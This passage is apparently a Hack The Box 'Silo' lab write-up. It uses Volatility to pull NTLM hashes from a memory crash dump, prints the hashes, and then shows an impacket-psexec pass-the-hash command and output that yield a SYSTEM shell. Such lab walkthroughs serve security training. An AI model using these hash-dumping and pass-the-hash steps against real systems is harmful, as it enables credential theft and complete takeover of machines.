Memory Mining
There is a crashdump to run some forensics on.
for that, i will be using volatility Volatility is a command line memory analysis and forensics tool for extracting artifacts from memory dumps
Volatility
Features
┌──(kali㉿kali)-[~/archive/htb/labs/silo]
└─$ volatility -h
Volatility Foundation Volatility Framework 2.6.1
Usage: Volatility - A memory forensics analysis platform.
Options:
-h, --help list all available options and their default values.
Default values may be set in the configuration file
(/etc/volatilityrc)
--conf-file=/home/kali/.volatilityrc
User based configuration file
-d, --debug Debug volatility
--plugins=PLUGINS Additional plugin directories to use (colon separated)
--info Print information about all registered objects
--cache-directory=/home/kali/.cache/volatility
Directory where cache files are stored
--cache Use caching
--tz=TZ Sets the (Olson) timezone for displaying timestamps
using pytz (if installed) or tzset
-f FILENAME, --filename=FILENAME
Filename to use when opening an image
--profile=WinXPSP2x86
Name of the profile to load (use --info to see a list
of supported profiles)
-l LOCATION, --location=LOCATION
A URN location from which to load an address space
-w, --write Enable write support
--dtb=DTB DTB Address
--shift=SHIFT Mac KASLR shift address
--output=text Output in this format (support is module specific, see
the Module Output Options below)
--output-file=OUTPUT_FILE
Write output in this file
-v, --verbose Verbose information
--physical_shift=PHYSICAL_SHIFT
Linux kernel physical shift address
--virtual_shift=VIRTUAL_SHIFT
Linux kernel virtual shift address
-g KDBG, --kdbg=KDBG Specify a KDBG virtual address (Note: for 64-bit
Windows 8 and above this is the address of
KdCopyDataBlock)
--force Force utilization of suspect profile
--cookie=COOKIE Specify the address of nt!ObHeaderCookie (valid for
Windows 10 only)
-k KPCR, --kpcr=KPCR Specify a specific KPCR address
Supported Plugin Commands:
amcache Print AmCache information
apihooks Detect API hooks in process and kernel memory
atoms Print session and window station atom tables
atomscan Pool scanner for atom tables
auditpol Prints out the Audit Policies from HKLM\SECURITY\Policy\PolAdtEv
bigpools Dump the big page pools using BigPagePoolScanner
bioskbd Reads the keyboard buffer from Real Mode memory
cachedump Dumps cached domain hashes from memory
callbacks Print system-wide notification routines
clipboard Extract the contents of the windows clipboard
cmdline Display process command-line arguments
cmdscan Extract command history by scanning for _COMMAND_HISTORY
connections Print list of open connections [Windows XP and 2003 Only]
connscan Pool scanner for tcp connections
consoles Extract command history by scanning for _CONSOLE_INFORMATION
crashinfo Dump crash-dump information
deskscan Poolscaner for tagDESKTOP (desktops)
devicetree Show device tree
dlldump Dump DLLs from a process address space
dlllist Print list of loaded dlls for each process
driverirp Driver IRP hook detection
drivermodule Associate driver objects to kernel modules
driverscan Pool scanner for driver objects
dumpcerts Dump RSA private and public SSL keys
dumpfiles Extract memory mapped and cached files
dumpregistry Dumps registry files out to disk
editbox Displays information about Edit controls. (Listbox experimental.)
envars Display process environment variables
eventhooks Print details on windows event hooks
evtlogs Extract Windows Event Logs (XP/2003 only)
filescan Pool scanner for file objects
gahti Dump the USER handle type information
gditimers Print installed GDI timers and callbacks
gdt Display Global Descriptor Table
getservicesids Get the names of services in the Registry and return Calculated SID
getsids Print the SIDs owning each process
handles Print list of open handles for each process
hashdump Dumps passwords hashes (LM/NTLM) from memory
hibinfo Dump hibernation file information
hivedump Prints out a hive
hivelist Print list of registry hives.
hivescan Pool scanner for registry hives
hpakextract Extract physical memory from an HPAK file
hpakinfo Info on an HPAK file
idt Display Interrupt Descriptor Table
iehistory Reconstruct Internet Explorer cache / history
imagecopy Copies a physical address space out as a raw DD image
imageinfo Identify information for the image
impscan Scan for calls to imported functions
joblinks Print process job link information
kdbgscan Search for and dump potential KDBG values
kpcrscan Search for and dump potential KPCR values
ldrmodules Detect unlinked DLLs
lsadump Dump (decrypted) LSA secrets from the registry
machoinfo Dump Mach-O file format information
malfind Find hidden and injected code
mbrparser Scans for and parses potential Master Boot Records (MBRs)
memdump Dump the addressable memory for a process
memmap Print the memory map
messagehooks List desktop and thread window message hooks
mftparser Scans for and parses potential MFT entries
moddump Dump a kernel driver to an executable file sample
modscan Pool scanner for kernel modules
modules Print list of loaded modules
multiscan Scan for various objects at once
mutantscan Pool scanner for mutex objects
notepad List currently displayed notepad text
objtypescan Scan for Windows object type objects
patcher Patches memory based on page scans
poolpeek Configurable pool scanner plugin
printkey Print a registry key, and its subkeys and values
privs Display process privileges
procdump Dump a process to an executable file sample
pslist Print all running processes by following the EPROCESS lists
psscan Pool scanner for process objects
pstree Print process list as a tree
psxview Find hidden processes with various process listings
qemuinfo Dump Qemu information
raw2dmp Converts a physical memory sample to a windbg crash dump
screenshot Save a pseudo-screenshot based on GDI windows
servicediff List Windows services (ala Plugx)
sessions List details on _MM_SESSION_SPACE (user logon sessions)
shellbags Prints ShellBags info
shimcache Parses the Application Compatibility Shim Cache registry key
shutdowntime Print ShutdownTime of machine from registry
sockets Print list of open sockets
sockscan Pool scanner for tcp socket objects
ssdt Display SSDT entries
strings Match physical offsets to virtual addresses (may take a while, VERY verbose)
svcscan Scan for Windows services
symlinkscan Pool scanner for symlink objects
thrdscan Pool scanner for thread objects
threads Investigate _ETHREAD and _KTHREADs
timeliner Creates a timeline from various artifacts in memory
timers Print kernel timers and associated module DPCs
truecryptmaster Recover TrueCrypt 7.1a Master Keys
truecryptpassphrase TrueCrypt Cached Passphrase Finder
truecryptsummary TrueCrypt Summary
unloadedmodules Print list of unloaded modules
userassist Print userassist registry keys and information
userhandles Dump the USER handle tables
vaddump Dumps out the vad sections to a file
vadinfo Dump the VAD info
vadtree Walk the VAD tree and display in tree format
vadwalk Walk the VAD tree
vboxinfo Dump virtualbox information
verinfo Prints out the version information from PE images
vmwareinfo Dump VMware VMSS/VMSN information
volshell Shell in the memory image
windows Print Desktop Windows (verbose details)
wintree Print Z-Order Desktop Windows Tree
wndscan Pool scanner for window stations
yarascan Scan process or kernel memory with Yara signatures
Volatility comes with so many pre-configured plugins With these options, pretty much anything is possible to enumerate the the crashed moment of the system, such as dumping LM/NTLM hashes, LSA secrets, cached domain hashes, even a kernel driver to an executable file sample
Profile
Important thing to note is to set up a correct profile for any operation
Profiles can be listed with the --info flag.
Since there are 350+ profiles available, it can be narrowed down by feeding it into grep
┌──(kali㉿kali)-[~/archive/htb/labs/silo]
└─$ volatility imageinfo -f SILO-20180105-221806.dmp
Volatility Foundation Volatility Framework 2.6.1
info : volatility.debug : Determining profile based on KDBG search...
[...REDACTED...]
suggested profile(s) : Win2016x64_14393, Win8SP0x64, Win10x64_17134, Win81U1x64, Win10x64_14393, Win10x64_18362, Win2012R2x64, Win10x64_10586, Win10x64, Win2012R2x64_18340, Win10x64_16299, Win10x64_10240_17770, Win10x64_19041, Win2012x64, Win10x64_17763, Win8SP1x64_18340, Win8SP1x64, Win10x64_15063 (Instantiated with Win10x64_15063)
as layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
as layer2 : WindowsCrashDumpSpace64 (Unnamed AS)
as layer3 : FileAddressSpace (/home/kali/archive/htb/labs/silo/SILO-20180105-221806.dmp)
pae type : No PAE
dtb : 0x1a7000L
kdbg : 0xf80078520a30L
number of processors : 2
image type (service pack) : 0
kpcr for cpu 0 : 0xfffff8007857b000L
kpcr for cpu 1 : 0xffffd000207e8000L
kuser_shared_data : 0xfffff78000000000L
image date and time : 2018-01-05 22:18:07 UTC+0000
image local date and time : 2018-01-05 22:18:07 +0000
Or Volatility can figure it all by itself although it may lack a bit of accuracy. It can still give out a list of potential candidates in case user has no context of what kind of dump file it is.
Nevertheless, I am interested in credentials
hashdump
┌──(kali㉿kali)-[~/archive/htb/labs/silo]
└─$ volatility -f SILO-20180105-221806.dmp hashdump --profile=Win2012R2x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::Just like that. I see the administrator hash
Pass The Hash
┌──(kali㉿kali)-[~/archive/htb/labs/silo]
└─$ impacket-psexec administrator@$ip -target-ip $ip -no-pass -hashes aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.82.....
[*] Found writable share ADMIN$
[*] Uploading file ZxQJSACb.exe
[*] Opening SVCManager on 10.10.10.82.....
[*] Creating service ajBv on 10.10.10.82.....
[*] Starting service ajBv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
c:\Windows\system32> whoami
nt authority\system
c:\Windows\system32> hostname
SILO
c:\Windows\system32> ipconfig
Windows IP Configuration
ethernet adapter ethernet0:
connection-specific dns suffix . :
ipv4 address. . . . . . . . . . . : 10.10.10.82
subnet mask . . . . . . . . . . . : 255.255.255.0
default gateway . . . . . . . . . : 10.10.10.2
tunnel adapter isatap.{50cd6e47-e5c7-44a8-b294-ba01e18b9e30}:
media state . . . . . . . . . . . : Media disconnected
connection-specific dns suffix . : System Level Compromise